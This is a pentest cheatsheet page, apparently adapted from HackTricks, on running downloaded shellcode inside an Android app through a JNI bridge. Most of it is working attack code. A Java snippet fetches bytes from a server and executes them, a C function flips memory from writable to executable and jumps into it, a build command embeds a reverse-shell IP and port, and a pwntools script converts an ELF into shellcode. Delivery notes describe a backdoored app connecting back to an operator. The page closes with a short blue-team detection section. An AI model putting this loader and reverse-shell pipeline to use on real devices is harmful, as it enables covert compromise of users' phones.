daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR
git clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
Log | Files | Refs | README | LICENSE

in-memory-jni-shellcode-execution.md (7781B)


      1 ---
      2 title: "Android In-Memory Native Code Execution via JNI (shellcode)"
      3 section: "Mobile"
      4 sectionSlug: "mobile-pentesting"
      5 sourcePath: "src/mobile-pentesting/android-app-pentesting/in-memory-jni-shellcode-execution.md"
      6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/mobile-pentesting/android-app-pentesting/in-memory-jni-shellcode-execution.md"
      7 sha: "188de82beb54e70956b2952367a0af91d26758b8"
      8 isIndex: false
      9 modified: true
     10 license: "CC-BY-NC-4.0"
     11 ---
     12 
     13 # Android In-Memory Native Code Execution via JNI (shellcode)
     14 
     15 This page documents a lab pattern for executing native payloads in the memory of an Android app that already includes an authorized JNI library. The flow avoids writing a second ELF payload to disk: retrieve raw bytes over HTTPS, pass them to a JNI bridge, allocate writable memory, change it to executable, and call it.<sup>[[1]](#references)</sup>
     16 
     17 Why it matters
     18 - Reduces forensic artifacts (no ELF on disk)
     19 - Compatible with “stage-2” native payloads generated from an ELF exploit binary
     20 - Demonstrates a behavior defenders can hunt for: network retrieval followed by an anonymous RW-to-RX transition
     21 
     22 High-level pattern
     23 1) Fetch shellcode bytes in Java/Kotlin
     24 2) Call a native method (JNI) with the byte array
     25 3) In JNI: allocate RW memory → copy bytes → mprotect to RX → call entrypoint
     26 
     27 Minimal example
     28 
     29 Java/Kotlin side
     30 ```java
     31 public final class NativeExec {
     32     static { System.loadLibrary("nativeexec"); }
     33     public static native int run(byte[] sc);
     34 }
     35 
     36 // Download and execute (simplified)
     37 byte[] sc = new java.net.URL("https://your-server/sc").openStream().readAllBytes();
     38 int rc = NativeExec.run(sc);
     39 ```
     40 
     41 Declare `<uses-permission android:name="android.permission.INTERNET" />`, run the network operation off the UI thread, close the stream, enforce a maximum response size, and authenticate the payload. `InputStream.readAllBytes()` is not available on every Android API level, so use a bounded compatibility helper or an HTTP client when targeting older devices.<sup>[[6]](#references)</sup>
     42 
     43 C JNI side (arm64/amd64)
     44 ```c
     45 #include <jni.h>
     46 #include <sys/mman.h>
     47 #include <string.h>
     48 #include <unistd.h>
     49 
     50 static inline void flush_icache(void *p, size_t len) {
     51     __builtin___clear_cache((char*)p, (char*)p + len);
     52 }
     53 
     54 JNIEXPORT jint JNICALL
     55 Java_com_example_NativeExec_run(JNIEnv *env, jclass cls, jbyteArray sc) {
     56     jsize len = (*env)->GetArrayLength(env, sc);
     57     if (len <= 0) return -1;
     58 
     59     // RW anonymous buffer
     60     void *buf = mmap(NULL, len, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
     61     if (buf == MAP_FAILED) return -2;
     62 
     63     jboolean isCopy = 0;
     64     jbyte *bytes = (*env)->GetByteArrayElements(env, sc, &isCopy);
     65     if (!bytes) { munmap(buf, len); return -3; }
     66 
     67     memcpy(buf, bytes, len);
     68     (*env)->ReleaseByteArrayElements(env, sc, bytes, JNI_ABORT);
     69 
     70     // Make RX and execute
     71     if (mprotect(buf, len, PROT_READ | PROT_EXEC) != 0) { munmap(buf, len); return -4; }
     72     flush_icache(buf, len);
     73 
     74     int (*entry)(void) = (int (*)(void))buf;
     75     int ret = entry();
     76 
     77     // Optional: restore RW and wipe
     78     mprotect(buf, len, PROT_READ | PROT_WRITE);
     79     memset(buf, 0, len);
     80     munmap(buf, len);
     81     return ret;
     82 }
     83 ```
     84 
     85 Notes and caveats
     86 - W^X/execmem: the sample never maps a page writable and executable at the same time; it transitions RW to RX. Whether an anonymous executable mapping is permitted depends on Android version, app domain, SELinux/vendor policy, and device hardening. ART does maintain a managed JIT code cache, preserving the earlier page's useful executable-pool distinction, but that cache is not a general JNI API or a drop-in policy bypass. Treat `mprotect()` failure as a stop condition rather than attempting to evade policy.<sup>[[9]](#references)</sup>
     87 - Architectures: Ensure the shellcode architecture matches the device (arm64-v8a commonly; x86 only on emulators).
     88 - Entrypoint contract: Decide a convention for the shellcode entry (no arguments versus a structure pointer), keep raw shellcode position-independent, obey the platform ABI (stack alignment and callee-saved registers), and return an `int` if using this function pointer type.
     89 - Stability: Clear instruction cache before jumping; mismatched cache can crash on ARM.
     90 
     91 Packaging ELF → position‑independent shellcode
     92 A robust operator pipeline is to:<sup>[[2]](#references)[[3]](#references)</sup>
     93 - Build the test payload as a static ELF using a compiler that targets the device architecture and a compatible Linux ABI
     94 - Convert the ELF into a self‑loading shellcode blob using pwntools’ shellcraft.loader_append
     95 
     96 Build
     97 ```bash
     98 # amd64 emulator example; use an AArch64 cross-compiler for arm64 devices
     99 musl-gcc -O3 -s -static -fno-pic -o exploit exploit.c \
    100   -DREV_SHELL_IP="\"10.10.14.2\"" -DREV_SHELL_PORT="\"4444\""
    101 ```
    102 
    103 Transform ELF to raw shellcode (amd64 example)
    104 ```python
    105 # exp2sc.py
    106 from pwn import *
    107 context.clear(arch='amd64')
    108 elf = ELF('./exploit')
    109 loader = shellcraft.amd64.linux.loader_append(elf.data)
    110 sc = asm(loader)
    111 open('sc','wb').write(sc)
    112 print(f"ELF size={len(elf.data)}, shellcode size={len(sc)}")
    113 ```
    114 
    115 Why `loader_append` works: it emits architecture-specific loader shellcode followed by the ELF, maps the embedded program segments, and transfers control to its entry point. This does not make an arbitrary ELF compatible with Android: architecture, system-call ABI, static/dynamic linking, relocations, and the process security policy still have to match.<sup>[[3]](#references)[[7]](#references)</sup>
    116 
    117 Delivery
    118 - Host `sc` on an authenticated HTTPS server you control; cleartext HTTP is disabled by default for apps targeting Android 9 or later.<sup>[[8]](#references)</sup>
    119 - The backdoored/test app downloads sc and invokes the JNI bridge shown above
    120 - Listen on your operator box for any reverse connection the kernel/user-mode payload establishes<sup>[[5]](#references)</sup>
    121 
    122 Validation workflow for kernel payloads<sup>[[4]](#references)</sup>
    123 - Use a symbolized vmlinux for fast reversing/offset recovery
    124 - Prototype primitives on a convenient debug image if available, but always re‑validate on the actual Android target (kallsyms, KASLR slide, page-table layout, and mitigations differ)
    125 
    126 Hardening/Detection (blue team)
    127 - Disallow anonymous PROT_EXEC in app domains where possible (SELinux policy)
    128 - Enforce strict code integrity (no dynamic native loading from network) and validate update channels
    129 - Monitor suspicious mmap/mprotect transitions to RX and large byte-array copies preceding jumps
    130 
    131 ## References
    132 
    133 - [1] [CoRPhone challenge repo (Android kernel pwn; JNI memory-only loader pattern)](https://github.com/0xdevil/corphone)
    134 - [2] [build.sh (musl-gcc + pwntools pipeline)](https://raw.githubusercontent.com/0xdevil/corphone/main/exploit/build.sh)
    135 - [3] [exp2sc.py (pwntools shellcraft.loader_append)](https://raw.githubusercontent.com/0xdevil/corphone/main/exploit/exp2sc.py)
    136 - [4] [exploit.c TL;DR (operator/kernel flow, offsets, reverse shell)](https://raw.githubusercontent.com/0xdevil/corphone/main/exploit/exploit.c)
    137 - [5] [INSTRUCTIONS.md (setup notes)](https://github.com/0xdevil/corphone/blob/main/INSTRUCTIONS.md)
    138 - [6] [Android Developers - Connect to the network](https://developer.android.com/develop/connectivity/network-ops/connecting)
    139 - [7] [pwntools documentation - AMD64 Linux `loader_append`](https://docs.pwntools.com/en/stable/shellcraft/amd64.html#pwnlib.shellcraft.amd64.linux.loader_append)
    140 - [8] [Android 9 behavior changes - cleartext network traffic](https://developer.android.com/about/versions/pie/android-9.0-changes-28)
    141 - [9] [Android Open Source Project - ART just-in-time compiler and code cache](https://source.android.com/docs/core/runtime/jit-compiler)